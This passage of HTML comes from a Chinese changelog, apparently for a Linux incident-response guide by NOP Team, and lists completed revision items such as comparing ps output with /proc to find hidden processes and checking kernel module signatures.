solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已完成</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-30 21:58:03</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">7.  ps 命令加入 -w 参数</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0007</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-05-14 15:38</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">ps 的 -w 参数可以保证显示内容不被截断</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已完成</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-30 23:23:03</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">目前仅添加了参数，部分图片没有修改，后续升级版本截图时一并修改</span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">8.  常见问题的解决办法章节添加 history 无记录情况</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0008</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-05-14 15:38</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">常见问题的解决办法章节添加 history 无记录情况</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已完成</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-30 22:58:03</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">最终考虑再三，放在了知识点附录里</span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">9.  比对 ps 命令与 proc 目录中 pid 的不同</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0009</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-05-14 15:38</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">比对 ps 命令与 proc 目录中 pid 的不同，若存在 ps 中没有，但是 proc 目录中有 pid 的可能为恶意进程</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已完成</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-30 22:38:12</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">10.  添加查找特定时间段创建、修改文件</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0010</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-04-29 15:29</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">查找文件部分添加查找特定时间段创建、修改文件，这有助于找到特定时段攻击者创建或修改的恶意文件</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已添加</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-19 22:15</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">11.  添加终端乱码重置的办法</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0011</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-04-29 15:29</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">有时查看二进制文件后，会使终端乱码，添加如何重置的方法</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已添加</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-15 12:09</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">12.  修复文件被删除的恢复方法</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0012</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-03-21 11:23</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">之前的内容是通过 proc 虚拟结构的 fd 来恢复文件被删除但仍被进程占用的文件，在之前的文章中有朋友指出不需要从 fd 中恢复</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已修复</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-30 23:06:23</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">13.  Linux 实现内存中查找字符串</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0013</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-03-06 17:05</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">Windows 可以实现内存中查找字符串，Linux 中是否可以呢？</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已完成</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-31 00:08</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">14.  内核模块签名相关配置检查</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0014</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-02-27 16:15</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">检查内核模块加载是否校验签名</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已添加</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-18 00:42</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">15.  内核模块签名校验</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0015</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-02-27 16:15</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">校验内核模块是否存在有效签名</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已添加</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid 